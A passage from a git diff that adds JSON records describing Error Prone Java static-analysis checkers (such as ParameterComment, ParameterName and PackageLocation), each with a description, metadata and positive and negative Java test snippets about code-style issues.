null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 80, + "branches": 12, + "apis": 1, + "test": [ + { + "description": "positiveCase1", + "expected-problems": null, + "expected-linenumbers": [ + 32 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n/**\n * This tests that the a bug is reported when a method override changes the type of a parameter from\n * varargs to array, or array to varargs. It also ensures that the implementation can handles cases\n * with multiple parameters, and whitespaces between the square brackets for array types.\n *\n * @author cushon@google.com (Liam Miller-Cushon)\n */\npublic class OverridesPositiveCase1 {\n abstract class Base {\n abstract void varargsMethod(Object... xs);\n\n abstract void arrayMethod(int x, Object[] xs);\n }\n\n abstract class Child1 extends Base {\n @Override\n // BUG: Diagnostic contains: abstract void arrayMethod(int x, Object[] newNames);\n abstract void arrayMethod(int x, Object... newNames);\n }\n\n abstract class Child2 extends Base {\n @Override\n // BUG: Diagnostic contains: abstract void varargsMethod(Object... xs);\n abstract void varargsMethod(Object[] xs);\n }\n\n abstract class Child3 extends Base {\n @Override\n // BUG: Diagnostic contains: abstract void varargsMethod(Object... xs);\n abstract void varargsMethod(Object[] xs);\n }\n\n abstract class Child4 extends Base {\n @Override\n // BUG: Diagnostic contains: abstract void varargsMethod(Object... xs);\n abstract void varargsMethod(Object[] xs);\n }\n\n abstract class Child5 extends Base {\n @Override\n // BUG: Diagnostic contains: Varargs\n abstract void varargsMethod(Object[ /**/] xs);\n }\n\n interface Interface {\n void varargsMethod(Object... xs);\n\n void arrayMethod(Object[] xs);\n }\n\n abstract class ImplementsInterface implements Interface {\n @Override\n // BUG: Diagnostic contains:\n public abstract void varargsMethod(Object[] xs);\n\n @Override\n // BUG: Diagnostic contains:\n public abstract void arrayMethod(Object... xs);\n }\n\n abstract class MyBase {\n abstract void f(Object... xs);\n\n abstract void g(Object[] xs);\n }\n\n interface MyInterface {\n void f(Object[] xs);\n\n void g(Object... xs);\n }\n\n abstract class ImplementsAndExtends extends MyBase implements MyInterface {\n // BUG: Diagnostic contains:\n public abstract void f(Object... xs);\n\n // BUG: Diagnostic contains:\n public abstract void g(Object[] xs);\n }\n\n abstract class ImplementsAndExtends2 extends MyBase implements MyInterface {\n // BUG: Diagnostic contains:\n public abstract void f(Object[] xs);\n\n // BUG: Diagnostic contains:\n public abstract void g(Object... xs);\n }\n}" + }, + { + "description": "positiveCase2", + "expected-problems": null, + "expected-linenumbers": [ + 132 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n/**\n * This tests the case where there is a chain of method overrides where the varargs constraint is\n * not met, and the root is a varargs parameter. TODO(cushon): The original implementation tried to\n * be clever and make this consistent, but didn't handle multiple interface inheritance.\n *\n * @author cushon@google.com (Liam Miller-Cushon)\n */\npublic class OverridesPositiveCase2 {\n abstract class Base {\n abstract void varargsMethod(Object... xs);\n }\n\n abstract class SubOne extends Base {\n @Override\n // BUG: Diagnostic contains:\n abstract void varargsMethod(Object[] newNames);\n }\n\n abstract class SubTwo extends SubOne {\n @Override\n // BUG: Diagnostic contains:\n abstract void varargsMethod(Object... xs);\n }\n\n abstract class SubThree extends SubTwo {\n @Override\n // BUG: Diagnostic contains:\n abstract void varargsMethod(Object[] newNames);\n }\n}\\" + }, + { + "description": "positiveCase3", + "expected-problems": null, + "expected-linenumbers": [ + 174 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n/**\n * This tests the case where there is a chain of method overrides where the varargs constraint is\n * not met, and the root has an array parameter. TODO(cushon): The original implementation tried to\n * be clever and make this consistent, but didn't handle multiple interface inheritance.\n *\n * @author cushon@google.com (Liam Miller-Cushon)\n */\npublic class OverridesPositiveCase3 {\n abstract class Base {\n abstract void arrayMethod(Object[] xs);\n }\n\n abstract class SubOne extends Base {\n @Override\n // BUG: Diagnostic contains:\n abstract void arrayMethod(Object... newNames);\n }\n\n abstract class SubTwo extends SubOne {\n @Override\n // BUG: Diagnostic contains:\n abstract void arrayMethod(Object[] xs);\n }\n\n abstract class SubThree extends SubTwo {\n @Override\n // BUG: Diagnostic contains:\n abstract void arrayMethod(Object... newNames);\n }\n}\\" + }, + { + "description": "positiveCase4", + "expected-problems": null, + "expected-linenumbers": [ + 216 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\nimport java.util.Map;\n\n/**\n * Test that the suggested fix is correct in the presence of whitespace, comments.\n *\n * @author cushon@google.com (Liam Miller-Cushon)\n */\npublic class OverridesPositiveCase4 {\n\n @interface Note {}\n\n abstract class Base {\n abstract void varargsMethod(@Note final Map... xs);\n\n abstract void arrayMethod(@Note final Map[] xs);\n }\n\n abstract class Child1 extends Base {\n @Override\n // BUG: Diagnostic contains: (@Note final Map /* asd */[] /* dsa */ xs);\n abstract void arrayMethod(@Note final Map /* asd */... /* dsa */ xs);\n }\n\n abstract class Child2 extends Base {\n @Override\n // TODO(cushon): improve testing infrastructure so we can enforce that no fix is suggested.\n // BUG: Diagnostic contains: Varargs\n abstract void varargsMethod(@Note final Map /*dsa*/[ /* [ */] /* dsa */ xs);\n }\n}" + }, + { + "description": "positiveCase5", + "expected-problems": null, + "expected-linenumbers": [ + 258 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n/**\n * @author cushon@google.com (Liam Miller-Cushon)\n */\npublic class OverridesPositiveCase5 {\n\n abstract class Base {\n abstract void varargsMethod(Object[] xs, Object... ys);\n\n abstract void arrayMethod(Object[] xs, Object[] ys);\n }\n\n abstract class Child1 extends Base {\n @Override\n // BUG: Diagnostic contains: Did you mean 'abstract void arrayMethod(Object[] xs, Object[] ys);'\n abstract void arrayMethod(Object[] xs, Object... ys);\n\n @Override\n // BUG: Diagnostic contains: Did you mean 'abstract void varargsMethod(Object[] xs, Object...\n // ys);'\n abstract void varargsMethod(Object[] xs, Object[] ys);\n\n void foo(Base base) {\n base.varargsMethod(null, new Object[] {}, new Object[] {}, new Object[] {}, new Object[] {});\n }\n }\n}\\" + }, + { + "description": "negativeCase1", + "expected-problems": null, + "expected-linenumbers": [ + 296 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n/**\n * @author cushon@google.com (Liam Miller-Cushon)\n */\npublic class OverridesNegativeCase1 {\n abstract class Base {\n abstract void varargsMethod(Object... xs);\n\n abstract void arrayMethod(Object[] xs);\n }\n\n abstract class Child1 extends Base {\n @Override\n abstract void varargsMethod(final Object... newNames);\n }\n\n abstract class Child2 extends Base {\n @Override\n abstract void arrayMethod(Object[] xs);\n }\n\n static class StaticClass {\n static void staticVarargsMethod(Object... xs) {}\n\n static void staticArrayMethod(Object[] xs) {}\n }\n\n interface Interface {\n void varargsMethod(Object... xs);\n\n void arrayMethod(Object[] xs);\n }\n\n abstract class ImplementsInterface implements Interface {\n public abstract void varargsMethod(Object... xs);\n\n public abstract void arrayMethod(Object[] xs);\n }\n}\n\n// Varargs methods might end up overriding synthetic (e.g. bridge) methods, which will have already\n// been lowered into a non-varargs form. Test that we don't report errors when a varargs method\n// overrides a synthetic non-varargs method:\n\nabstract class One {\n static class Builder {\n Builder varargsMethod(String... args) {\n return this;\n }\n }\n}\n\nclass Two extends One {\n static class Builder extends One.Builder {\n @Override\n public Builder varargsMethod(String... args) {\n super.varargsMethod(args);\n return this;\n }\n }\n}\n\nclass Three extends Two {\n static class Builder extends Two.Builder {\n @Override\n public Builder varargsMethod(String... args) {\n super.varargsMethod(args);\n return this;\n }\n }\n}\\" + }, + { + "description": "negativeCase2", + "expected-problems": null, + "expected-linenumbers": [ + 378 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n /**\n * @author cushon@google.com (Liam Miller-Cushon)\n */\n public class OverridesNegativeCase2 {\n abstract class Base {\n abstract void varargsMethod(Object... xs);\n }\n\n abstract class SubOne extends Base {\n @Override\n abstract void varargsMethod(Object... newNames);\n }\n\n abstract class SubTwo extends SubOne {\n @Override\n abstract void varargsMethod(Object... xs);\n }\n\n abstract class SubThree extends SubTwo {\n @Override\n abstract void varargsMethod(Object... newNames);\n }\n }\\" + }, + { + "description": "negativeCase3", + "expected-problems": null, + "expected-linenumbers": [ + 413 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n /**\n * @author cushon@google.com (Liam Miller-Cushon)\n */\n public class OverridesNegativeCase3 {\n abstract class Base {\n abstract void arrayMethod(Object[] xs);\n }\n\n abstract class SubOne extends Base {\n @Override\n abstract void arrayMethod(Object[] xs);\n }\n\n abstract class SubTwo extends SubOne {\n @Override\n abstract void arrayMethod(Object[] xs);\n }\n\n abstract class SubThree extends SubTwo {\n @Override\n abstract void arrayMethod(Object[] xs);\n }\n }\\" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/OverridingMethodInconsistentArgumentNamesChecker.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/OverridingMethodInconsistentArgumentNamesChecker.json new file mode 100644 index 0000000..8c507a2 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/OverridingMethodInconsistentArgumentNamesChecker.json @@ -0,0 +1,46 @@ +{ + "name": "OverridingMethodInconsistentArgumentNamesChecker", + "language": "java", + "description": "Arguments of overriding method are inconsistent with overridden method.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 82, + "branches": 6, + "apis": 1, + "test": [ + { + "description": "positiveSwap", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "class A {\n void m(int p1, int p2) {}\n }\n \n\n class B extends A {\n @Override\n // BUG: Diagnostic contains: A consistent order would be: m(p1, p2)\n void m(int p2, int p1) {}\n }" + }, + { + "description": "positivePermutation", + "expected-problems": null, + "expected-linenumbers": [ + 53 + ], + "code": "class A {\n void m(int p1, int p2, int p3) {}\n }\n \n\n class B extends A {\n @Override\n // BUG: Diagnostic contains: A consistent order would be: m(p1, p2, p3)\n void m(int p3, int p1, int p2) {}\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 75 + ], + "code": "class A {\n void m(int p1, int p2) {}\n }\n \n\n class B extends A {\n @Override\n void m(int p1, int p2) {}\n }" + }, + { + "description": "negative2", + "expected-problems": null, + "expected-linenumbers": [ + 96 + ], + "code": "class A {\n void m(int p1, int p2) {}\n }\n \n\n class B extends A {\n @Override\n void m(int p1, int p3) {}\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/PackageInfo.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/PackageInfo.json new file mode 100644 index 0000000..a264143 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/PackageInfo.json @@ -0,0 +1,30 @@ +{ + "name": "PackageInfo", + "language": "java", + "description": "Declaring types inside package-info.java files is very bad form", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 48, + "branches": 6, + "apis": 1, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 30 + ], + "code": "package test;\n\n // BUG: Diagnostic contains:\n class Test {}" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 44 + ], + "code": "" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/PackageLocation.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/PackageLocation.json new file mode 100644 index 0000000..41b9c64 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/PackageLocation.json @@ -0,0 +1,78 @@ +{ + "name": "PackageLocation", + "language": "java", + "description": "Package names should match the directory they are declared in", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 76, + "branches": 7, + "apis": 2, + "test": [ + { + "description": "positiveCustomRoot", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "// BUG: Diagnostic contains: Expected package a to be declared in a directory ending with a, instead\n// found b\npackage a;\n\nclass A {}" + }, + { + "description": "positiveTooLong", + "expected-problems": null, + "expected-linenumbers": [ + 46 + ], + "code": "// BUG: Diagnostic contains: Expected package a.b.c to be declared in a directory ending with a/b/c,\n// instead found src/main/java\npackage a.b.c;\n\nclass A {}" + }, + { + "description": "positiveTooShort", + "expected-problems": null, + "expected-linenumbers": [ + 61 + ], + "code": "// BUG: Diagnostic contains: Expected package a.b.c.d to be declared in a directory ending with\n// a/b/c/d, instead found java/b/c/d\npackage a.b.c.d;\n\nclass A {}" + }, + { + "description": "positiveTooShortSuffix", + "expected-problems": null, + "expected-linenumbers": [ + 76 + ], + "code": "// BUG: Diagnostic contains: Expected package a.b.c.d to be declared in a directory ending with\n// a/b/c/d, instead found panda/b/c/d\npackage a.b.c.d;\n\nclass A {}" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 91 + ], + "code": "package a;\n\n class A {}" + }, + { + "description": "negative2", + "expected-problems": null, + "expected-linenumbers": [ + 104 + ], + "code": "package a.b.c;\n\n class A {}" + }, + { + "description": "negativeSuffix", + "expected-problems": null, + "expected-linenumbers": [ + 117 + ], + "code": "package a.b;\n\n class A {}" + }, + { + "description": "suppression", + "expected-problems": null, + "expected-linenumbers": [ + 130 + ], + "code": "@com.google.errorprone.annotations.SuppressPackageLocation\n package xyz.abc.foo;\n \n\n package xyz.abc.foo;\n\n class A {}" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ParameterComment.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ParameterComment.json new file mode 100644 index 0000000..5d6238d --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ParameterComment.json @@ -0,0 +1,102 @@ +{ + "name": "ParameterComment", + "language": "java", + "description": "Non-standard parameter comment; prefer `/* paramName= */ arg`", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 96, + "branches": 4, + "apis": 1, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 36 + ], + "code": "class Test {\n void f(int x, int y) {}\n\n {\n f(0 /*x*/, 1/* y= */ );\n f(0 /*x*/, 1); // y\n f(/* x */ 0, /* y */ 1);\n f(0 /* x */, /* y */ 1);\n f(/* x */ 0, 1 /* y */);\n }\n }\n \n\n class Test {\n void f(int x, int y) {}\n\n {\n f(/* x= */ 0, /* y= */ 1);\n f(/* x= */ 0, /* y= */ 1);\n f(/* x= */ 0, /* y= */ 1);\n f(/* x= */ 0, /* y= */ 1);\n f(/* x= */ 0, /* y= */ 1);\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 72 + ], + "code": "class Test {\n void f(int x, int y) {}\n\n {\n f(/* x= */ 0, /* y= */ 1);\n f(0/* y= */ , 1/* x= */ );\n }\n }" + }, + { + "description": "varargs", + "expected-problems": null, + "expected-linenumbers": [ + 90 + ], + "code": "class Test {\n void f(int y, int... xs) {}\n\n {\n f(0 /*y*/);\n f(0 /*y*/, 1 /*xs*/);\n f(0, new int[] {0} /*xs*/);\n f(0, 1, 2 /*xs*/, 3 /*xs*/);\n }\n }\n \n\n class Test {\n void f(int y, int... xs) {}\n\n {\n f(/* y= */ 0);\n f(/* y= */ 0, /* xs= */ 1);\n f(0, /* xs= */ new int[] {0});\n f(0, 1, /* xs= */ 2, /* xs= */ 3);\n }\n }" + }, + { + "description": "noParams", + "expected-problems": null, + "expected-linenumbers": [ + 124 + ], + "code": "class Test {\n void f() {}\n\n {\n f();\n }\n }" + }, + { + "description": "positiveConstructor", + "expected-problems": null, + "expected-linenumbers": [ + 142 + ], + "code": "class Test {\n Test(int x, int y) {}\n\n {\n new Test(0 /*x*/, 1/* y= */ );\n new Test(0 /*x*/, 1); // y\n }\n }\n \n\n class Test {\n Test(int x, int y) {}\n\n {\n new Test(/* x= */ 0, /* y= */ 1);\n new Test(/* x= */ 0, /* y= */ 1);\n }\n }" + }, + { + "description": "parameterComment_doesNotChange_whenNestedComment", + "expected-problems": null, + "expected-linenumbers": [ + 172 + ], + "code": "abstract class Test {\n abstract void target(Object first, Object second);\n\n abstract Object target2(Object second);\n\n void test(Object first, Object second) {\n target(first, target2(/* second= */ second));\n }\n }\n \n\n abstract class Test {\n abstract void target(Object first, Object second);\n\n abstract Object target2(Object second);\n\n void test(Object first, Object second) {\n target(first, target2(/* second= */ second));\n }\n }" + }, + { + "description": "parameterComment_nestedComment", + "expected-problems": null, + "expected-linenumbers": [ + 204 + ], + "code": "abstract class Test {\n abstract void target(Object first, Object second);\n\n abstract Object target2(Object second);\n\n void test(Object first, Object second) {\n target(first, target2(second /* second */));\n }\n }\n \n\n abstract class Test {\n abstract void target(Object first, Object second);\n\n abstract Object target2(Object second);\n\n void test(Object first, Object second) {\n target(first, target2(/* second= */ second));\n }\n }" + }, + { + "description": "negative_multiLineTernary", + "expected-problems": null, + "expected-linenumbers": [ + 236 + ], + "code": "public class Test {\n public static int foo(int x) {\n int y = true ? foo(/* x= */ x) : foo(/* x= */ x);\n int z = true ? foo(/* x= */ x) : foo(/* x= */ x);\n return 0;\n }\n }" + }, + { + "description": "negative_nestedLambda", + "expected-problems": null, + "expected-linenumbers": [ + 254 + ], + "code": "import java.util.function.Consumer;\n\n public class Test {\n private void testcase(String s, Consumer c) {\n outer(\n p -> {\n System.out.println(s);\n inner(/* myFunc= */ c, /* i1= */ 200, /* i2= */ 300);\n },\n /* b1= */ true,\n /* b2= */ false);\n }\n\n private void outer(Consumer myFunc, boolean b1, boolean b2) {}\n\n private void inner(Consumer myFunc, int i1, int i2) {}\n }" + }, + { + "description": "matchingCommentsAfterwards", + "expected-problems": null, + "expected-linenumbers": [ + 282 + ], + "code": "import static com.google.common.truth.Truth.assertThat;\n\n class Test {\n public Test a(int a) {\n return this;\n }\n\n public int b(int b) {\n return 1;\n }\n\n public void test(Test x) {\n assertThat(x.a(/* a= */ 1).b(/* b= */ 0)).isEqualTo(1);\n assertThat(x.a(/* a= */ 2).b(/* b= */ 0)).isEqualTo(1);\n }\n }" + }, + { + "description": "markdownJavadocComment", + "expected-problems": null, + "expected-linenumbers": [ + 308 + ], + "code": "import static com.google.common.truth.Truth.assertThat;\n\n class Test {\n public void f(int x) {}\n\n public void test() {\n f(\n /// javadoc markdown\n /* x= */ 42);\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ParameterName.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ParameterName.json new file mode 100644 index 0000000..3c6f6cb --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ParameterName.json @@ -0,0 +1,374 @@ +{ + "name": "ParameterName", + "language": "java", + "description": "Detects `/* name= */`-style comments on actual parameters where the name doesn't match the formal parameter", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 261, + "branches": 35, + "apis": 5, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 36 + ], + "code": "class Test {\n void f(int foo, int bar) {}\n\n {\n f(/* bar= */ 1, /* foo= */ 2);\n f(\n /** bar= */\n 3,\n /** foo= */\n 4);\n }\n }\n \n\n class Test {\n void f(int foo, int bar) {}\n\n {\n f(/* foo= */ 1, /* bar= */ 2);\n f(/* foo= */ 3, /* bar= */ 4);\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 70 + ], + "code": "class Test {\n void f(int foo, int bar) {}\n\n {\n f(/* foo= */ 1, 2);\n }\n }" + }, + { + "description": "issue781", + "expected-problems": null, + "expected-linenumbers": [ + 87 + ], + "code": "package a.b;\n\n import a.AbstractFoo;\n\n class Baz extends AbstractFoo {\n @Override\n protected String getFoo() {\n return \"foo\";\n }\n }\n \n\n package a;\n\n import java.util.function.Function;\n\n class Bar {\n private final Function args;\n\n public Bar(Function args) {\n this.args = args;\n }\n }\n\n public abstract class AbstractFoo {\n protected abstract String getFoo();\n\n private String getCommandArguments(String parameters) {\n return null;\n }\n\n public AbstractFoo() {\n new Bar(this::getCommandArguments);\n }\n }" + }, + { + "description": "issue792", + "expected-problems": null, + "expected-linenumbers": [ + 134 + ], + "code": "package a;\n\n class Bar {}\n\n public class Foo {\n public void setInteger(Integer i) {}\n\n public void callSetInteger() {\n setInteger(0);\n }\n }\n \n\n package a;\n\n public class Baz extends Foo {}" + }, + { + "description": "namedParametersChecker_ignoresCall_withNoComments", + "expected-problems": null, + "expected-linenumbers": [ + 162 + ], + "code": "abstract class Test {\n abstract void target(Object param1, Object param2);\n\n void test(Object arg1, Object arg2) {\n target(arg1, arg2);\n }\n }" + }, + { + "description": "namedParametersChecker_findsError_withOneBadComment", + "expected-problems": null, + "expected-linenumbers": [ + 179 + ], + "code": "abstract class Test {\n abstract void target(Object param1, Object param2);\n\n void test(Object arg1, Object arg2) {\n // BUG: Diagnostic contains: 'target(/* param1= */ arg1, arg2);'\n target(/* param2= */ arg1, arg2);\n }\n }" + }, + { + "description": "namedParametersChecker_suggestsSwap_withSwappedArgs", + "expected-problems": null, + "expected-linenumbers": [ + 215 + ], + "code": "abstract class Test {\n abstract void target(Object param1, Object param2);\n\n void test(Object arg1, Object arg2) {\n // BUG: Diagnostic contains: 'target(/* param1= */ arg2\n target(/* param2= */ arg2, /* param1= */ arg1);\n }\n }" + }, + { + "description": "namedParametersChecker_suggestsSwap_withSwappedArgs", + "expected-problems": null, + "expected-linenumbers": [ + 215 + ], + "code": "abstract class Test {\n abstract void target(Object param1, Object param2);\n\n void test(Object arg1, Object arg2) {\n // BUG: Diagnostic contains: 'target(/* param1= */ arg2\n target(/* param2= */ arg2, /* param1= */ arg1);\n }\n }" + }, + { + "description": "namedParametersChecker_suggestsSwap_withOneCommentedSwappedArgs", + "expected-problems": null, + "expected-linenumbers": [ + 233 + ], + "code": "abstract class Test {\n abstract void target(Object param1, Object param2);\n\n void test(Object arg1, Object arg2) {\n // BUG: Diagnostic contains: 'target(/* param1= */ arg2, arg1);'\n target(/* param2= */ arg2, arg1);\n }\n }" + }, + { + "description": "namedParametersChecker_toleratesApproximateComment_onRequiredNamesMethod", + "expected-problems": null, + "expected-linenumbers": [ + 251 + ], + "code": "abstract class Test {\n abstract void target(Object param);\n\n void test(Object arg) {\n target(/*note param = */ arg);\n }\n }" + }, + { + "description": "namedParametersChecker_tolerateComment_withNoEquals", + "expected-problems": null, + "expected-linenumbers": [ + 268 + ], + "code": "abstract class Test {\n abstract void target(Object param);\n\n void test(Object arg) {\n target(/*param*/ arg);\n }\n }" + }, + { + "description": "namedParametersChecker_toleratesMatchingComment_blockAfter", + "expected-problems": null, + "expected-linenumbers": [ + 285 + ], + "code": "abstract class Test {\n abstract void target(Object param);\n\n void test(Object arg) {\n target(arg /*param*/);\n }\n }" + }, + { + "description": "namedParametersChecker_toleratesApproximateComment_blockAfter", + "expected-problems": null, + "expected-linenumbers": [ + 302 + ], + "code": "abstract class Test {\n abstract void target(Object param);\n\n void test(Object arg) {\n target(arg /*imprecise match for param*/);\n }\n }" + }, + { + "description": "namedParametersChecker_toleratesMatchingComment_lineAfter", + "expected-problems": null, + "expected-linenumbers": [ + 319 + ], + "code": "abstract class Test {\n abstract void target(Object param);\n\n void test(Object arg) {\n target(arg); // param\n }\n }" + }, + { + "description": "namedParametersChecker_multipleComments_allowedIfAnyMatch", + "expected-problems": null, + "expected-linenumbers": [ + 341 + ], + "code": "class Test {\n void test(Object x) {\n test(/* y= *//* x= */ x);\n test(/* x= *//* y= */ x);\n }\n }" + }, + { + "description": "namedParametersChecker_multipleComments_flaggedIfNoneMatch", + "expected-problems": null, + "expected-linenumbers": [ + 357 + ], + "code": "class Test {\n void test(Object x) {\n // BUG: Diagnostic contains: does not match\n test(/* y= *//* z= */ x);\n }\n }" + }, + { + "description": "namedParametersChecker_ignoresComment_nonMatchinglineAfter", + "expected-problems": null, + "expected-linenumbers": [ + 373 + ], + "code": "abstract class Test {\n abstract void target(Object param);\n\n void test(Object arg) {\n target(arg); // some_other_comment\n }\n }" + }, + { + "description": "namedParametersChecker_ignoresComment_markedUpDelimiter", + "expected-problems": null, + "expected-linenumbers": [ + 390 + ], + "code": "abstract class Test {\n abstract void target(Object param1, Object param2);\n\n void test(Object arg1, Object arg2) {\n target(\n arg1,\n /* ---- param1 <-> param2 ---- */\n arg2);\n }\n }" + }, + { + "description": "namedParametersChecker_ignoresLineComments", + "expected-problems": null, + "expected-linenumbers": [ + 410 + ], + "code": "class Test {\n void test(int x) {\n test(\n // newX =\n // (x ^ 2)\n x * x);\n }\n }" + }, + { + "description": "namedParametersChecker_ignoresComment_wrongNameWithNoEquals", + "expected-problems": null, + "expected-linenumbers": [ + 428 + ], + "code": "abstract class Test {\n abstract void target(Object param);\n\n void test(Object arg) {\n target(/* some_other_comment */ arg);\n }\n }" + }, + { + "description": "namedParametersChecker_ignoresComment_wrongVarargs", + "expected-problems": null, + "expected-linenumbers": [ + 445 + ], + "code": "abstract class Test {\n abstract void target(Object... param);\n\n void test(Object arg) {\n target(/* param.!.= */ arg);\n }\n }" + }, + { + "description": "namedParametersChecker_matchesComment_withChainedMethod", + "expected-problems": null, + "expected-linenumbers": [ + 462 + ], + "code": "abstract class Test {\n abstract Test getTest(Object param);\n\n abstract void target(Object param2);\n\n void test(Object arg, Object arg2) {\n getTest(/* param= */ arg).target(arg2);\n }\n }" + }, + { + "description": "namedParametersChecker_suggestsChangeComment_whenNoMatchingNames", + "expected-problems": null, + "expected-linenumbers": [ + 481 + ], + "code": "abstract class Test {\n abstract void target(Object param1, Object param2);\n\n void test(Object arg1, Object arg2) {\n // BUG: Diagnostic contains:\n // target(/* param1= */ arg1, arg2)\n // `/* notMatching= */` does not match formal parameter name `param1`\n target(/* notMatching= */ arg1, arg2);\n }\n }" + }, + { + "description": "innerClassNegative", + "expected-problems": null, + "expected-linenumbers": [ + 514 + ], + "code": "" + }, + { + "description": "innerClassPositive", + "expected-problems": null, + "expected-linenumbers": [ + 529 + ], + "code": "" + }, + { + "description": "anonymousClassConstructorNegative", + "expected-problems": null, + "expected-linenumbers": [ + 549 + ], + "code": "" + }, + { + "description": "anonymousClassConstructor", + "expected-problems": null, + "expected-linenumbers": [ + 565 + ], + "code": "" + }, + { + "description": "internalAnnotatedParameterNegative", + "expected-problems": null, + "expected-linenumbers": [ + 581 + ], + "code": "class Test {\n public static class AnnotatedParametersTestClass {\n public @interface Annotated {}\n\n public static void target(@Annotated int foo) {}\n }\n\n void test() {\n AnnotatedParametersTestClass.target(/* foo= */ 1);\n }\n }" + }, + { + "description": "internalAnnotatedParameterPositive", + "expected-problems": null, + "expected-linenumbers": [ + 602 + ], + "code": "class Test {\n public static class AnnotatedParametersTestClass {\n public @interface Annotated {}\n\n public static void target(@Annotated int foo) {}\n }\n\n void test() {\n // BUG: Diagnostic contains: target(/* foo= */ 1)\n AnnotatedParametersTestClass.target(/* bar= */ 1);\n }\n }" + }, + { + "description": "externalAnnotatedParameterNegative", + "expected-problems": null, + "expected-linenumbers": [ + 634 + ], + "code": "" + }, + { + "description": "externalAnnotatedParameterPositive", + "expected-problems": null, + "expected-linenumbers": [ + 649 + ], + "code": "" + }, + { + "description": "positiveVarargs", + "expected-problems": null, + "expected-linenumbers": [ + 664 + ], + "code": "class Test {\n void foo(int... args) {}\n\n void bar() {\n // BUG: Diagnostic contains: /* args...= */\n // /* argh */\n foo(/* argh...= */ 1, 2, 3);\n }\n }" + }, + { + "description": "emptyVarargs_shouldNotCrash", + "expected-problems": null, + "expected-linenumbers": [ + 683 + ], + "code": "class Test {\n void foo(int first, int... rest) {}\n\n void bar() {\n foo(/* first= */ 1);\n // BUG: Diagnostic contains: /* first= */\n foo(/* second= */ 1);\n }\n }" + }, + { + "description": "negativeVarargs", + "expected-problems": null, + "expected-linenumbers": [ + 702 + ], + "code": "class Test {\n void foo(int... args) {}\n\n void bar() {\n foo(/* args...= */ 1, 2);\n }\n }" + }, + { + "description": "varargsCommentAllowedWithArraySyntax", + "expected-problems": null, + "expected-linenumbers": [ + 719 + ], + "code": "class Test {\n void foo(int... args) {}\n\n void bar() {\n int[] myInts = {1, 2, 3};\n foo(/* args...= */ myInts);\n }\n }" + }, + { + "description": "normalCommentNotAllowedWithVarargsArraySyntax", + "expected-problems": null, + "expected-linenumbers": [ + 738 + ], + "code": "class Test {\n void foo(int... args) {}\n\n void bar() {\n int[] myInts = {1, 2, 3};\n // BUG: Diagnostic contains: /* args...= */\n foo(/* args= */ myInts);\n }\n }" + }, + { + "description": "varargsCommentAllowedOnOnlyFirstArg", + "expected-problems": null, + "expected-linenumbers": [ + 757 + ], + "code": "class Test {\n void foo(int... args) {}\n\n void bar() {\n // BUG: Diagnostic contains: parameter name comment only allowed on first varargs argument\n foo(1, /* args...= */ 2);\n }\n}" + }, + { + "description": "varargsWrongFormat", + "expected-problems": null, + "expected-linenumbers": [ + 775 + ], + "code": "class Test {\n void foo(int... args) {}\n\n void bar() {\n foo(/* args= */ 1, 2);\n }\n }\n \n\n class Test {\n void foo(int... args) {}\n\n void bar() {\n foo(/* args...= */ 1, 2);\n }\n }" + }, + { + "description": "varargsTrailing", + "expected-problems": null, + "expected-linenumbers": [ + 803 + ], + "code": "class Test {\n void foo(int... args) {}\n\n void bar() {\n foo(1, /* foo= */ 2);\n foo(1, /* foo...= */ 2);\n }\n }\n \n\n class Test {\n void foo(int... args) {}\n\n void bar() {\n foo(1, /* foo */ 2);\n foo(1, /* foo... */ 2);\n }\n }" + }, + { + "description": "varargsIgnoreNonParameterNameComments", + "expected-problems": null, + "expected-linenumbers": [ + 833 + ], + "code": "class Test {\n void foo(int... args) {}\n\n void bar() {\n foo(/* fake */ 1, 2);\n }\n }" + }, + { + 